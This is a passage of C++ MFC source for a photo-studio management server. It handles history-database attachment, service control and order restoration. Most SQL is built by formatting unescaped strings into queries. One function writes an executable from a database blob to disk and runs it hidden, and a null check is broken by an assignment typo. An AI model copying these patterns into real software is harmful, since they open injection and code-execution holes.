  5993. CString savepath, g_path1;
  5994. char server[50];
  5995. DWORD leng = 50;
  5996. ::GetComputerName(server, &leng);
  5997. g_path1 = server;
  5998. g_path1 = "\\\\" + g_path1 + "\\电话录音(管理软件)$";
  5999. GetPathFromNetShareName("电话录音(管理软件)$", g_path1);
  6000. if (g_path1.IsEmpty())
  6001. {
  6002. WriteTextLog("获取电精灵数据出错");
  6003. return;
  6004. }
  6005. try
  6006. {
  6007. int aa = 0;
  6008. CDatabase *pMaindb = NULL;
  6009. ODBCConnGuard ConnGuard(pMaindb, -1, 3000);
  6010. if ( pMaindb == NULL )
  6011. return;
  6012. savepath.Format("%s\\uphonedata%d.dat", g_path1, aa);
  6013. ::DeleteFile(savepath); // 删除 uphonedata%d.dat 文件;
  6014. if (fp.Open(savepath, CFile::modeCreate | CFile::modeWrite) == 0)
  6015. {
  6016. WriteTextLog("更新来电精灵数据出错");
  6017. return;
  6018. }
  6019. CConnectSocket consock;
  6020. consock.m_pConndb = pMaindb;
  6021. for (int i = 0; i < codearray.GetSize(); i++)
  6022. {
  6023. BYTE code = codearray.ElementAt(i);
  6024. DWORD length, arraysize;
  6025. BYTE *pReturn = NULL;
  6026. consock.GetDataFromCode(code, &pReturn, length, arraysize, "");
  6027. fp.Write(&code, sizeof(BYTE));
  6028. fp.Write(&length, sizeof(DWORD));
  6029. fp.Write(&arraysize, sizeof(DWORD));
  6030. fp.Write(pReturn, length);
  6031. }
  6032. fp.Close();
  6033. }
  6034. catch (...)
  6035. {
  6036. WriteTextLog("获取来电精灵数据出错2");
  6037. }
  6038. }
  6039. //initlia
  6040. void CDBServerDlg::LoadHistoryDB() // 加载历史数据库;
  6041. {
  6042. CString path;
  6043. CString sql;
  6044. sql = "delete from historydb";
  6045. CDatabase *pdb = NULL;
  6046. ODBCConnGuard ConnGuard(pdb, -1, 3000);
  6047. if ( pdb ) MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pdb, sql);
  6048. CDatabase g_masterdb;
  6049. try
  6050. {
  6051. CString strCon;
  6052. strCon.Format(DB_SS_CONN_WITHOUT_PORT, g_strdbServrename, _T("master"), g_szDBAccount, g_szDBPassWord);
  6053. g_masterdb.OpenEx(strCon, CDatabase::noOdbcDialog);
  6054. }
  6055. catch (CDBException * e)
  6056. {
  6057. #ifdef _DEBUG
  6058. e->ReportError();
  6059. #endif //#ifdef _DEBUG
  6060. e->Delete();
  6061. }
  6062. GetAllCatalogName();
  6063. BOOL bExistCatalog = FALSE;
  6064. TCHAR szdbName[MAX_PATH] = {0};
  6065. for (int i = CTime::GetCurrentTime().GetYear() - 1; i >= 2009; i--)
  6066. {
  6067. #if USE_POOL
  6068. _itot_s(i, szdbName, 10);
  6069. bExistCatalog = FALSE;
  6070. for (int k = 0; k < g_AryAllCatalogName.GetSize(); k++)
  6071. {
  6072. if (g_AryAllCatalogName.ElementAt(k).CompareNoCase(szdbName) == 0)
  6073. {
  6074. bExistCatalog = TRUE;
  6075. break;
  6076. }
  6077. }
  6078. if (bExistCatalog)
  6079. {
  6080. CODBCPool *pdbpool = new CODBCPool;
  6081. if (pdbpool->InitializePool(g_szDBSource, g_dwDBServerPort, g_szDBAccount, g_szDBPassWord, szdbName, g_dwDBPoolDef, g_dwDBPoolMaxCount))
  6082. {
  6083. g_nYearArray.Add(i);
  6084. sql.Format("insert into [historydb]([year])values('%d')", i);
  6085. CDatabase *pdb = NULL;
  6086. ODBCConnGuard ConnGuard(pdb, -1, 3000);
  6087. if (pdb)MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pdb, sql);
  6088. g_dbpool.Add(pdbpool);
  6089. }
  6090. else
  6091. {
  6092. delete pdbpool;
  6093. pdbpool = NULL;
  6094. }
  6095. }
  6096. else
  6097. {
  6098. CString strPathOfYearmdf;
  6099. CString strPathOfYearldf;
  6100. CString sql;
  6101. strPathOfYearmdf.Format("%s\\数据\\%d.mdf", g_mainpath, i);
  6102. strPathOfYearldf.Format("%s\\数据\\%d_log.LDF", g_mainpath, i);
  6103. if (PathFileExists(strPathOfYearmdf))
  6104. {
  6105. BOOL bLog = 0;
  6106. if (PathFileExists(strPathOfYearldf))
  6107. {
  6108. bLog = 1;
  6109. }
  6110. g_masterdb.SetQueryTimeout(600);
  6111. if (bLog)
  6112. sql.Format("exec sp_attach_db '%d',@filename1='%s',@filename2='%s'", i, strPathOfYearmdf, strPathOfYearldf);
  6113. else
  6114. sql.Format("exec sp_attach_db '%d',@filename1='%s'", i, strPathOfYearmdf);
  6115. try
  6116. {
  6117. g_masterdb.ExecuteSQL(sql);
  6118. }
  6119. catch (CDBException * e)
  6120. {
  6121. WriteTextLog("历史数据库初始化失败,%s",e->m_strError);
  6122. g_masterdb.SetQueryTimeout(100);
  6123. #ifdef _DEBUG
  6124. e->ReportError();
  6125. #endif //#ifdef _DEBUG
  6126. e->Delete();
  6127. break;
  6128. }
  6129. g_masterdb.SetQueryTimeout(100);
  6130. CODBCPool *pdbpool = new CODBCPool;
  6131. if ( pdbpool->InitializePool(g_szDBSource, g_dwDBServerPort, g_szDBAccount, g_szDBPassWord, szdbName, g_dwDBPoolDef, g_dwDBPoolMaxCount))
  6132. {
  6133. g_nYearArray.Add(i);
  6134. sql.Format("insert into [historydb]([year])values('%d')", i);
  6135. CDatabase *pdb = NULL;
  6136. ODBCConnGuard ConnGuard(pdb, -1, 3000);
  6137. if ( pdb )MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pdb, sql);
  6138. g_dbpool.Add(pdbpool);
  6139. }
  6140. else
  6141. {
  6142. delete pdbpool;
  6143. }
  6144. }
  6145. }
  6146. #else
  6147. CDatabase *db = new CDatabase;
  6148. try
  6149. {
  6150. CString strCon;
  6151. //strCon.Format(_T("driver={SQL Server};Server=%s;DATABASE=%d;%s"), g_strdbServrename, i, g_strdbpsw);
  6152. if ( _tcscmp(g_szDBAccount, _T("")) == 0)
  6153. strCon.Format(DB_SW_CONN_WITHOUT_PORT2, g_strdbServrename, i);
  6154. else
  6155. strCon.Format(DB_SS_CONN_WITHOUT_PORT2, g_strdbServrename, i, g_szDBAccount, g_szDBPassWord);
  6156. db->OpenEx(strCon, CDatabase::noOdbcDialog);
  6157. g_nYearArray.Add(i);
  6158. g_dbHistoryArray.Add(db);
  6159. sql.Format("insert into [historydb]([year])values('%d')", i);
  6160. MyExecuteSQL(&g_db, sql);
  6161. }
  6162. catch (CDBException * e)
  6163. {
  6164. #ifdef _DEBUG
  6165. e->ReportError();
  6166. #endif //#ifdef _DEBUG
  6167. CString strPathOfYearmdf;
  6168. CString strPathOfYearldf;
  6169. CString sql;
  6170. strPathOfYearmdf.Format("%s\\数据\\%d.mdf", g_mainpath, i);
  6171. strPathOfYearldf.Format("%s\\数据\\%d_log.LDF", g_mainpath, i);
  6172. if (PathFileExists(strPathOfYearmdf))
  6173. {
  6174. BOOL bLog = 0;
  6175. if (PathFileExists(strPathOfYearldf))
  6176. {
  6177. bLog = 1;
  6178. }
  6179. g_masterdb.SetQueryTimeout(600);
  6180. if (bLog)
  6181. sql.Format("exec sp_attach_db '%d',@filename1='%s',@filename2='%s'", i, strPathOfYearmdf, strPathOfYearldf);
  6182. else
  6183. sql.Format("exec sp_attach_db '%d',@filename1='%s'", i, strPathOfYearmdf);
  6184. try
  6185. {
  6186. g_masterdb.ExecuteSQL(sql);
  6187. }
  6188. catch (CDBException * e)
  6189. {
  6190. WriteTextLog(e->m_strError);
  6191. WriteTextLog("历史数据库初始化失败!!");
  6192. g_masterdb.SetQueryTimeout(100);
  6193. #ifdef _DEBUG
  6194. e->ReportError();
  6195. #endif //#ifdef _DEBUG
  6196. e->Delete();
  6197. break;
  6198. }
  6199. g_masterdb.SetQueryTimeout(100);
  6200. CString strCon;
  6201. //strCon.Format(_T("driver={SQL Server};Server=%s;DATABASE=%d;%s"), g_strdbServrename, i, g_strdbpsw);
  6202. if ( _tcscmp(g_szDBAccount, _T("")) == 0)
  6203. strCon.Format(DB_SW_CONN_WITHOUT_PORT2, g_strdbServrename, i);
  6204. else
  6205. strCon.Format(DB_SS_CONN_WITHOUT_PORT2, g_strdbServrename, i, g_szDBAccount, g_szDBPassWord);
  6206. db->OpenEx(strCon, CDatabase::noOdbcDialog);
  6207. g_nYearArray.Add(i);
  6208. g_dbHistoryArray.Add(db);
  6209. sql.Format("insert into [historydb]([year])values('%d')", i);
  6210. MyExecuteSQL(&g_db, sql);
  6211. }
  6212. else
  6213. {
  6214. //e->ReportError();
  6215. e->Delete();
  6216. //break;
  6217. }
  6218. }
  6219. #endif
  6220. }
  6221. g_masterdb.Close();
  6222. }
  6223. void CDBServerDlg::AddOneConn()
  6224. {
  6225. #if 0
  6226. try
  6227. {
  6228. MyLock lock("AddOneConnxiao");
  6229. if (g_nDBCount >= 200)
  6230. {
  6231. WriteTextLog("连接超数!"); return;
  6232. }
  6233. CDatabase *db = new CDatabase;
  6234. //if(AddConn(db, "db")==0)// Jeff.deal;
  6235. if (AddConn(db, g_szDBName) == 0)
  6236. return;
  6237. g_pDB[g_nDBCount] = db;
  6238. CString dbname = _T("");
  6239. for (int i = 0; i < g_nYearArray.GetSize(); i++)
  6240. {
  6241. dbname.Format("%d", g_nYearArray.ElementAt(i));
  6242. CDatabase *db = new CDatabase;
  6243. AddConn(db, dbname);
  6244. g_pHistoryDBarray[g_nDBCount].Add(db);
  6245. }
  6246. AddAdoConn();
  6247. g_nDBCount++;
  6248. }
  6249. catch (CException *e)
  6250. {
  6251. TCHAR szError[1024] = { 0 };
  6252. e->GetErrorMessage(szError, 1024);
  6253. WriteTextLog("AddOneConn error" + CString(szError));
  6254. }
  6255. #endif
  6256. }
  6257. /////////////////////////////////////////////////////////////////////////////////////
  6258. /*
  6259. 函数名: AddAdoConn
  6260. 说明: 添加Logdb数据库连接
  6261. 参数:
  6262. 返回:
  6263. */
  6264. /////////////////////////////////////////////////////////////////////////////////////
  6265. void CDBServerDlg::AddAdoConn()
  6266. {
  6267. }
  6268. void GetOneConn(CDatabase **m_pdb, CArray<CDatabase*, CDatabase*>*m_dbarray, CConnectThread *pThread)
  6269. {
  6270. #if 0
  6271. MyLock lock("GetOneConnxiao");
  6272. ll: for (int i = 0; i < 200; i++)
  6273. {
  6274. if (g_pDB[i] != NULL && g_pThreadPt[i] == NULL)
  6275. {
  6276. *m_pdb = g_pDB[i];
  6277. m_dbarray->Copy(g_pHistoryDBarray[i]);
  6278. g_pThreadPt[i] = pThread;
  6279. return;
  6280. }
  6281. }
  6282. if (g_nDBCount >= 200)
  6283. {
  6284. WriteTextLog("连接超数2!");
  6285. *m_pdb = &g_db;
  6286. m_dbarray->Copy(g_dbHistoryArray);
  6287. return;
  6288. }
  6289. g_pMainWnd->AddOneConn();
  6290. ::Sleep(1000);
  6291. goto ll;
  6292. #endif
  6293. }
  6294. void CDBServerDlg::CheckConnCount()
  6295. {
  6296. int count = 0;
  6297. for (int i = 0; i < 200; i++)
  6298. {
  6299. if (g_pDB[i] != NULL && g_pThreadPt[i] == NULL)
  6300. {
  6301. count++;
  6302. if (count > 9)
  6303. return;
  6304. }
  6305. }
  6306. AddOneConn();
  6307. }
  6308. //delete from 背景.jpg
  6309. void CDBServerDlg::RestoreHQ()
  6310. {
  6311. CString sql;
  6312. CDatabase *pMaindb = NULL;
  6313. ODBCConnGuard ConnGuard(pMaindb, -1, 3000);
  6314. if ( pMaindb == NULL )
  6315. return;
  6316. DWORD ii = 0;
  6317. CArray<CStringArray, CStringArray>g_List1array;
  6318. {
  6319. CRecordset myset(pMaindb);
  6320. CString sql = "select count(*) as cot from dindan";
  6321. myset.Open(CRecordset::forwardOnly, sql);
  6322. myset.GetFieldValue("cot", sql);
  6323. myset.Close();
  6324. int count = atol(sql);
  6325. g_List1array.SetSize(count, 1);
  6326. CRstDindanForm rsSt;
  6327. rsSt.m_pDatabase = pMaindb;
  6328. rsSt.Open();
  6329. ii = 0;
  6330. while (!rsSt.IsEOF())
  6331. {
  6332. g_List1array.ElementAt(ii).RemoveAll();
  6333. g_List1array.ElementAt(ii).Add(rsSt.id);
  6334. ii++;
  6335. rsSt.MoveNext(); if (g_List1array.GetSize() <= ii)break;
  6336. }
  6337. rsSt.Close(); g_List1array.SetSize(ii, 1);
  6338. }
  6339. for (int i = 0; i < g_List1array.GetSize(); i++)
  6340. {
  6341. // int ret=TransDinDan(pdb1, pdb2, g_List1array.ElementAt (i).ElementAt (0), lastyear);
  6342. // Jeff.deal;
  6343. //sql.Format("SELECT distinct [name],[count] FROM [db].[dbo].[dindansp2] where id='%s' and name in(select spname from shangpin where splb='婚庆服务')", g_List1array.ElementAt (i).ElementAt (0));
  6344. sql.Format("SELECT distinct [name],[count] FROM [dbo].[dindansp2] where id='%s' and name in(select spname from shangpin where splb='婚庆服务')", g_List1array.ElementAt(i).ElementAt(0));
  6345. CRecordset myset(pMaindb);
  6346. myset.Open(CRecordset::forwardOnly, sql);
  6347. CStringArray namearray;
  6348. CStringArray countarray;
  6349. while (!myset.IsEOF())
  6350. {
  6351. sql = "";
  6352. myset.GetFieldValue("name", sql);
  6353. namearray.Add(sql);
  6354. sql = "";
  6355. myset.GetFieldValue("count", sql);
  6356. countarray.Add(sql);
  6357. myset.MoveNext();
  6358. }
  6359. myset.Close();
  6360. for (int j = 0; j < namearray.GetSize(); j++)
  6361. {
  6362. CString spid, spjiage2;
  6363. // WriteTextLog("name:"+namearray.ElementAt (j));
  6364. // Jeff.deal;
  6365. //sql.Format("SELECT [spid],[spjiage2] FROM [db].[dbo].[shangpin] where spname='%s'", namearray.ElementAt (j));
  6366. sql.Format("SELECT [spid],[spjiage2] FROM [dbo].[shangpin] where spname='%s'", namearray.ElementAt(j));
  6367. //WriteTextLog(sql);
  6368. CRecordset myset(pMaindb);
  6369. myset.Open(CRecordset::forwardOnly, sql);
  6370. if (!myset.IsEOF())
  6371. {
  6372. myset.GetFieldValue("spid", spid);
  6373. myset.GetFieldValue("spjiage2", spjiage2);
  6374. }
  6375. myset.Close();
  6376. // Jeff.deal;
  6377. //sql.Format("SELECT count(*) as cot FROM [db].[dbo].[dindansp] where name='%s' and id='%s' and kind='2'", namearray.ElementAt (j), g_List1array.ElementAt (i).ElementAt (0));
  6378. sql.Format("SELECT count(*) as cot FROM [dbo].[dindansp] where name='%s' and id='%s' and kind='2'", namearray.ElementAt(j), g_List1array.ElementAt(i).ElementAt(0));
  6379. myset.Open(CRecordset::forwardOnly, sql);
  6380. sql = "";
  6381. if (!myset.IsEOF())
  6382. {
  6383. myset.GetFieldValue("cot", sql);
  6384. }
  6385. myset.Close();
  6386. if (atoi(sql))continue;
  6387. sql.Format("insert into [dindansp]([id],[name],[shuliang],[price],[spid],[kind])values('%s','%s','%s','%s','%s','%s')",
  6388. g_List1array.ElementAt(i).ElementAt(0), namearray.ElementAt(j), countarray.ElementAt(j), spjiage2, spid, "2");
  6389. //WriteTextLog(sql);
  6390. pMaindb->ExecuteSQL(sql);
  6391. }
  6392. }
  6393. }
  6394. void CDBServerDlg::ManagePhoto()
  6395. {
  6396. // CClientCenter dlg1;
  6397. // dlg1.DoModal ();
  6398. ShowPic3 dlg;
  6399. dlg.DoModal();
  6400. }
  6401. //数据备份(管理软件)$
  6402. //10.lia
  6403. //----------------------------------------------------------------------------
  6404. // Remark by Jeff 2014.10.22
  6405. // 函数:GenYLGL
  6406. // 描述:调用本地客户端;
  6407. // 参数:#
  6408. // 返回:#
  6409. //
  6410. // 调用关系:
  6411. // 1.只由AutoDelPhoto()主动调用。
  6412. //
  6413. // 说明:传递genbranchdata给客户端,使客户端能够自动遍历branchinfo.dat里的分店信息,
  6414. // 客户端顺序连接所有分店并获取分店历史订单已完成取件的订单。最终将所有分店历史
  6415. // 订单已完成取件的送回服务端,保存在branchdindan2.dat中.
  6416. //----------------------------------------------------------------------------
  6417. void CDBServerDlg::GenYLGL()
  6418. {
  6419. // 1.Jeff.删除文件,g_mainpath服务器DBServer.exe的目录;
  6420. CString autorunpath = g_mainpath + "\\YLGL.exe";
  6421. ::DeleteFile(autorunpath); // 删除YLGL.exe
  6422. WriteTextLog("命令行启动:" + autorunpath);
  6423. // 2.重新生成YLGL.exe
  6424. CDatabase *pdb = NULL;
  6425. ODBCConnGuard ConnGuard(pdb, -1, 3000);
  6426. if ( pdb = NULL )
  6427. return;
  6428. CRstUpdate rsSt;
  6429. rsSt.m_pDatabase = pdb;
  6430. rsSt.Open();
  6431. if (!rsSt.IsEOF())
  6432. {
  6433. CFile fp;
  6434. if (fp.Open(autorunpath, CFile::modeCreate | CFile::modeWrite))
  6435. {
  6436. void *pData = GlobalLock(rsSt.data.m_hData);
  6437. fp.Write(pData, rsSt.data.m_dwDataLength);
  6438. fp.Close();
  6439. GlobalUnlock(rsSt.data.m_hData);
  6440. }
  6441. }
  6442. rsSt.Close();
  6443. // 3.执行YLGL.exe
  6444. ShellExecute(NULL, _T("open"), autorunpath, "genbranchdata", NULL, SW_HIDE);
  6445. }
  6446. //105
  6447. /************************************************************************/
  6448. /*
  6449. 函数:CheckSvcWork
  6450. 描述:检查服务工作
  6451. 参数:
  6452. LPVOID LPARAM
  6453. 返回:
  6454. */
  6455. /************************************************************************/
  6456. unsigned int CDBServerDlg::CheckSvcWork(LPVOID LPARAM)
  6457. {
  6458. CDBServerDlg* p = (CDBServerDlg*)LPARAM;
  6459. if(p != NULL)
  6460. {
  6461. while(1)
  6462. {
  6463. // 每小时检查一次
  6464. int nRet = WaitForSingleObject(p->m_hWaitTimeOut, 60*60*1000);
  6465. if(nRet != WAIT_OBJECT_0 && nRet != WAIT_TIMEOUT)
  6466. {
  6467. WriteTextLog(_T("检测服务3错误:%d\n"), GetLastError());
  6468. break;
  6469. }
  6470. if(WaitForSingleObject(p->m_hExitCheckSvc, 0) == WAIT_OBJECT_0)
  6471. break;
  6472. CString strPath = _T("");
  6473. DWORD dwID = 0;
  6474. // 自动备份
  6475. dwID = FindAppProcessID(_T("lyfzBackupSvc.exe"));
  6476. if(dwID == 0)
  6477. {
  6478. strPath = g_mainpath + _T("\\lyfzBackupSvc.exe");
  6479. CString strCmd = _T("/startsvc");
  6480. SHELLEXECUTEINFO execinfo;
  6481. memset(&execinfo, 0, sizeof(execinfo));
  6482. execinfo.lpFile = strPath;
  6483. execinfo.cbSize = sizeof(execinfo);
  6484. execinfo.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_NO_UI;
  6485. execinfo.nShow = SW_HIDE;
  6486. execinfo.lpParameters = strCmd;
  6487. if(!ShellExecuteEx(&execinfo))
  6488. {
  6489. CString strError = _T("");
  6490. strError.Format(_T("检测服务1错误:%d\n"), GetLastError());
  6491. OutputDebugString(strError);
  6492. }
  6493. // WaitForSingleObject(execinfo.hProcess,INFINITE);
  6494. }
  6495. // 自动删除
  6496. dwID = FindAppProcessID(_T("lyfzDeletePhotoSvc.exe"));
  6497. if(dwID == 0)
  6498. {
  6499. strPath = g_mainpath + _T("\\lyfzDeletePhotoSvc.exe");
  6500. CString strCmd = _T("/startsvc");
  6501. SHELLEXECUTEINFO execinfo;
  6502. memset(&execinfo, 0, sizeof(execinfo));
  6503. execinfo.lpFile = strPath;
  6504. execinfo.cbSize = sizeof(execinfo);
  6505. execinfo.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_NO_UI;
  6506. execinfo.nShow = SW_HIDE;
  6507. execinfo.lpParameters = strCmd;
  6508. if(!ShellExecuteEx(&execinfo))
  6509. {
  6510. WriteTextLog(_T("检测服务2错误:%d\n"), GetLastError());
  6511. }
  6512. // WaitForSingleObject(execinfo.hProcess,INFINITE);
  6513. }
  6514. }
  6515. }
  6516. _endthreadex(0);
  6517. return 0;
  6518. }
  6519. // 结束检查工作
  6520. void CDBServerDlg::TerminateCheckWork()
  6521. {
  6522. if(m_hExitCheckSvc)
  6523. SetEvent(m_hExitCheckSvc);
  6524. if(m_hWaitTimeOut)
  6525. SetEvent(m_hWaitTimeOut);
  6526. if(m_hCheckSvcThread)
  6527. {
  6528. WaitForSingleObject(m_hCheckSvcThread, INFINITE);
  6529. CloseHandle(m_hCheckSvcThread);
  6530. }
  6531. m_hCheckSvcThread = NULL;
  6532. if(m_hExitCheckSvc)
  6533. CloseHandle(m_hExitCheckSvc);
  6534. m_hExitCheckSvc = NULL;
  6535. if(m_hWaitTimeOut)
  6536. CloseHandle(m_hWaitTimeOut);
  6537. m_hWaitTimeOut = NULL;
  6538. m_bStartCheckSvc = FALSE;
  6539. }
  6540. /************************************************************************/
  6541. /*
  6542. 函数:OnStartBackupSvc
  6543. 描述:启动备份服务
  6544. 参数:
  6545. 返回:
  6546. */
  6547. /************************************************************************/
  6548. void CDBServerDlg::OnStartBackupSvc()
  6549. {
  6550. StartSvc(_T("lyfzBackupSvc.exe"));
  6551. }
  6552. /************************************************************************/
  6553. /*
  6554. 函数:OnStopBackupSvc
  6555. 描述:停止备份服务
  6556. 参数:
  6557. 返回:
  6558. */
  6559. /************************************************************************/
  6560. void CDBServerDlg::OnStopBackupSvc()
  6561. {
  6562. StopSvc(_T("lyfz Backup Service"));
  6563. }
  6564. /************************************************************************/
  6565. /*
  6566. 函数:OnStartDelPhotoSvc
  6567. 描述:启动删除服务
  6568. 参数:
  6569. 返回:
  6570. */
  6571. /************************************************************************/
  6572. void CDBServerDlg::OnStartDelPhotoSvc()
  6573. {
  6574. StartSvc(_T("lyfzDeletePhotoSvc.exe"));
  6575. }
  6576. /************************************************************************/
  6577. /*
  6578. 函数:OnStopDelPhotoSvc
  6579. 描述:停止删除服务
  6580. 参数:
  6581. 返回:
  6582. */
  6583. /************************************************************************/
  6584. void CDBServerDlg::OnStopDelPhotoSvc()
  6585. {
  6586. StopSvc(_T("lyfz Delete Photo Service"));
  6587. }
  6588. /************************************************************************/
  6589. /*
  6590. 函数:StartSvc
  6591. 描述:启动服务
  6592. 参数:
  6593. IN LPCSTR lpExeFile 程序名称
  6594. 返回:1成功,0失败
  6595. */
  6596. /************************************************************************/
  6597. int CDBServerDlg::StartSvc( IN LPCSTR lpExeFile)
  6598. {
  6599. CString strPath = _T("");
  6600. DWORD dwID = 0;
  6601. // 自动备份
  6602. dwID = FindAppProcessID(lpExeFile);
  6603. if(dwID == 0)
  6604. {
  6605. strPath = g_mainpath + _T("\\");
  6606. strPath += lpExeFile;
  6607. CString strCmd = _T("/startsvc");
  6608. SHELLEXECUTEINFO execinfo;
  6609. memset(&execinfo, 0, sizeof(execinfo));
  6610. execinfo.lpFile = strPath;
  6611. execinfo.cbSize = sizeof(execinfo);
  6612. execinfo.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_NO_UI;
  6613. execinfo.nShow = SW_HIDE;
  6614. execinfo.lpParameters = strCmd;
  6615. if(!ShellExecuteEx(&execinfo))
  6616. {
  6617. CString strError = _T("");
  6618. strError.Format(_T("检测服务%s错误:%d\n"), lpExeFile, GetLastError());
  6619. OutputDebugString(strError);
  6620. }
  6621. }
  6622. return 1;
  6623. }
  6624. // 停止服务
  6625. /************************************************************************/
  6626. /*
  6627. 函数:OnStopDelPhotoSvc
  6628. 描述:停止删除服务
  6629. 参数:
  6630. IN LPCSTR lpSvcName 服务名
  6631. 返回:1成功,0失败
  6632. */
  6633. /************************************************************************/
  6634. int CDBServerDlg::StopSvc(IN LPCSTR lpSvcName)
  6635. {
  6636. CString strError = _T("");
  6637. SC_HANDLE hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
  6638. if (hSCM == NULL)
  6639. return 0;
  6640. SC_HANDLE hService = ::OpenService(hSCM, lpSvcName, SERVICE_STOP | SERVICE_QUERY_STATUS);
  6641. if (hService == NULL)
  6642. {
  6643. strError.Format(_T("打开%s服务失败:%d"), lpSvcName, GetLastError());
  6644. OutputDebugString(strError);
  6645. ::CloseServiceHandle(hSCM);
  6646. return 0;
  6647. }
  6648. SERVICE_STATUS status;
  6649. if(!::QueryServiceStatus(hService, &status))
  6650. {
  6651. strError.Format(_T("获取%s服务状态失败:%d"), lpSvcName, GetLastError());
  6652. OutputDebugString(strError);
  6653. ::CloseServiceHandle(hService);
  6654. ::CloseServiceHandle(hSCM);
  6655. return 0;
  6656. }
  6657. if(status.dwCurrentState == SERVICE_STOPPED)
  6658. {
  6659. ::CloseServiceHandle(hService);
  6660. ::CloseServiceHandle(hSCM);
  6661. return 1;
  6662. }
  6663. ControlService(hService, SERVICE_CONTROL_STOP, &status);
  6664. DWORD dwStartTime = GetTickCount();
  6665. DWORD dwTimeout = 30*1000; // 30-second time-out
  6666. while(1)
  6667. {
  6668. Sleep( status.dwWaitHint );
  6669. if(!::QueryServiceStatus(hService, &status))
  6670. {
  6671. strError.Format(_T("获取%s服务状态失败:%d"), lpSvcName, GetLastError());
  6672. OutputDebugString(strError);
  6673. ::CloseServiceHandle(hService);
  6674. ::CloseServiceHandle(hSCM);
  6675. return 0;
  6676. }
  6677. if ( status.dwCurrentState == SERVICE_STOPPED )
  6678. break;
  6679. if ( GetTickCount() - dwStartTime > dwTimeout )
  6680. {
  6681. strError.Format(_T("停止%s服务超时:%d"), lpSvcName, GetLastError());
  6682. OutputDebugString(strError);
  6683. ::CloseServiceHandle(hService);
  6684. ::CloseServiceHandle(hSCM);
  6685. return 0;
  6686. }
  6687. }
  6688. ::CloseServiceHandle(hService);
  6689. ::CloseServiceHandle(hSCM);
  6690. return 1;
  6691. }
  6692. void CDBServerDlg::OnAutoCheckSvc()
  6693. {
  6694. g_bAutoCheckSvc = !g_bAutoCheckSvc;
  6695. CHAR szFile[MAX_PATH + 1] = "";
  6696. wsprintf(szFile, "%s\\ServiceInfo.ini", g_ModulePath);
  6697. OFSTRUCT ofStruct;
  6698. OpenFile(szFile, &ofStruct, OF_EXIST);
  6699. if (ERROR_FILE_NOT_FOUND == GetLastError())
  6700. return;
  6701. CString strValue = _T("");
  6702. strValue.Format(_T("%d"), g_bAutoCheckSvc);
  6703. WritePrivateProfileString(_T("Back"), _T("AutoCheckSvc"), strValue, szFile);
  6704. if(!g_bAutoCheckSvc)
  6705. {
  6706. TerminateCheckWork();
  6707. }
  6708. else
  6709. {
  6710. // 如果没启动自动检查
  6711. if(!m_bStartCheckSvc)
  6712. {
  6713. m_hExitCheckSvc = CreateEvent(NULL, FALSE, FALSE, NULL);
  6714. m_hWaitTimeOut = CreateEvent(NULL, FALSE, FALSE, NULL);
  6715. SetEvent(m_hWaitTimeOut);
  6716. unsigned int nThreadID = 0;
  6717. m_bStartCheckSvc = TRUE;
  6718. m_hCheckSvcThread = (HANDLE)_beginthreadex(NULL, 0, CheckSvcWork, this, 0, &nThreadID);
  6719. }
  6720. }
  6721. }